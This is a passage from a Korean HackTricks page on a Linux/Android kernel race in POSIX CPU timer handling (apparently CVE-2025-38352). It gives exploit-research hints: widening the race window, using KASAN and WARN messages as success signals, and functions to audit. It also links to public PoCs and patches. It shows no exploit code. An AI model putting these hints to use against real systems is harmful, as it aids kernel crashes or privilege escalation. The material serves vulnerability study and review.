์—ฐ๊ตฌ ํ™˜๊ฒฝ์—์„œ๋Š” `tsk->comm == "SLOWME"`์ผ ๋•Œ handle_posix_cpu_timers() ๋‚ด๋ถ€์— ๋””๋ฒ„๊ทธ ์ „์šฉ `mdelay(500)`๋ฅผ ์ฃผ์ž…ํ•˜๋ฉด ์œˆ๋„์šฐ๊ฐ€ ๋„“์–ด์ ธ ์œ„์˜ ์—ฐ์ถœ์ด ๊ฑฐ์˜ ํ•ญ์ƒ ๋ ˆ์ด์Šค์—์„œ ์ด๊ธด๋‹ค. ๋™์ผํ•œ PoC๋Š” ์Šค๋ ˆ๋“œ ์ด๋ฆ„์„ (`prctl(PR_SET_NAME, ...)`) ๋ฐ”๊ฟ” ์ปค๋„ ๋กœ๊ทธ์™€ ๋ธŒ๋ ˆ์ดํฌํฌ์ธํŠธ๋กœ ์˜ˆ์ƒํ•œ ์›Œ์ปค๊ฐ€ ์ˆ˜๊ฑฐ๋˜๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•œ๋‹ค.

### ์ต์Šคํ”Œ๋กœ์ž‡ ์ค‘ ๊ณ„์ธก ๋‹จ์„œ
- unlock_task_sighand()/posix_cpu_timer_del() ์ฃผ๋ณ€์— tracepoints/WARN_ONCE๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ `it.cpu.firing==1`์ด cpu_timer_task_rcu()/lock_task_sighand() ์‹คํŒจ์™€ ๋™์‹œ์— ๋ฐœ์ƒํ•˜๋Š” ๊ฒฝ์šฐ๋ฅผ ํฌ์ฐฉํ•˜๊ณ , ํ”ผํ•ด์ž(victim)๊ฐ€ ์ข…๋ฃŒ๋  ๋•Œ timerqueue ์ผ๊ด€์„ฑ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•œ๋‹ค.
- KASAN์€ ๋ณดํ†ต posix_timer_queue_signal() ๋‚ด๋ถ€์—์„œ `slab-use-after-free`๋ฅผ ๋ณด๊ณ ํ•˜๋Š” ๋ฐ˜๋ฉด, KASAN์ด ์—†๋Š” ์ปค๋„์—์„œ๋Š” ๋ ˆ์ด์Šค๊ฐ€ ์„ฑ์‚ฌ๋˜์—ˆ์„ ๋•Œ send_sigqueue()์—์„œ WARN_ON_ONCE()๋ฅผ ๋กœ๊ทธํ•˜์—ฌ ๋น ๋ฅธ ์„ฑ๊ณต ์ง€ํ‘œ๋ฅผ ์ œ๊ณตํ•œ๋‹ค.

๊ฐ์‚ฌ ํ•ซ์ŠคํŒŸ(๋ฆฌ๋ทฐ์–ด์šฉ)
- update_process_times() โ†’ run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() ์„ ํƒ (TASK_WORK vs IRQ ๊ฒฝ๋กœ)
- collect_timerqueue(): ctmr->firing๋ฅผ ์„ค์ •ํ•˜๊ณ  ๋…ธ๋“œ๋ฅผ ์ด๋™ํ•จ
- handle_posix_cpu_timers(): firing ๋ฃจํ”„ ์ „์— sighand๋ฅผ ํ•ด์ œํ•จ
- posix_cpu_timer_del(): it.cpu.firing์— ์˜์กดํ•˜์—ฌ ์ง„ํ–‰ ์ค‘์ธ ๋งŒ๋ฃŒ๋ฅผ ๊ฐ์ง€ํ•จ; ์ด ๊ฒ€์‚ฌ๋Š” exit/reap ๋„์ค‘ task ์กฐํšŒ/์ž ๊ธˆ์— ์‹คํŒจํ•˜๋ฉด ๊ฑด๋„ˆ๋›ฐ์–ด์ง„๋‹ค

์ต์Šคํ”Œ๋กœ์ž‡ ์—ฐ๊ตฌ ์ฐธ๊ณ ์‚ฌํ•ญ
๊ณต๊ฐœ๋œ ๋™์ž‘์€ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์ปค๋„ ํฌ๋ž˜์‹œ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ์ด๋‹ค; ์ด๋ฅผ ๊ถŒํ•œ ์ƒ์Šน์œผ๋กœ ์ „ํ™˜ํ•˜๋ ค๋ฉด ์ผ๋ฐ˜์ ์œผ๋กœ ์ด ์š”์•ฝ์˜ ๋ฒ”์œ„๋ฅผ ๋ฒ—์–ด๋‚˜๋Š” ์ถ”๊ฐ€์ ์ธ ์ œ์–ด ๊ฐ€๋Šฅํ•œ ๊ฒน์นจ(๊ฐ์ฒด ์ˆ˜๋ช…์ด๋‚˜ write-what-where ์˜ํ–ฅ ๋“ฑ)์ด ํ•„์š”ํ•˜๋‹ค. ๋ชจ๋“  PoC๋Š” ์‹œ์Šคํ…œ์„ ๋ถˆ์•ˆ์ •ํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์—๋ฎฌ๋ ˆ์ดํ„ฐ/VM์—์„œ๋งŒ ์‹คํ–‰ํ•˜๋ผ.

## References
- [Race Against Time in the Kernelโ€™s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin โ€“ September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5โ€ฆ](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
- [CVE-2025-38352 โ€“ In-the-wild Android Kernel Vulnerability Analysis and PoC](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/)
- [poc-CVE-2025-38352 (GitHub)](https://github.com/farazsth98/poc-CVE-2025-38352)
- [Linux stable fix commit f90fff1e152d](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=f90fff1e152dedf52b932240ebbd670d83330eca)

> [!TIP]
> AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง€์›ํ•˜๊ธฐ</summary>
>
> - [**๊ตฌ๋… ๊ณ„ํš**](https://github.com/sponsors/carlospolop) ํ™•์ธํ•˜๊ธฐ!
> - **๐Ÿ’ฌ [**๋””์Šค์ฝ”๋“œ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋˜๋Š” [**ํ…”๋ ˆ๊ทธ๋žจ ๊ทธ๋ฃน**](https://t.me/peass)์— ์ฐธ์—ฌํ•˜๊ฑฐ๋‚˜ **ํŠธ์œ„ํ„ฐ** ๐Ÿฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํŒ”๋กœ์šฐํ•˜์„ธ์š”.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นƒํ—ˆ๋ธŒ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์— PR์„ ์ œ์ถœํ•˜์—ฌ ํ•ดํ‚น ํŠธ๋ฆญ์„ ๊ณต์œ ํ•˜์„ธ์š”.**
>
> </details>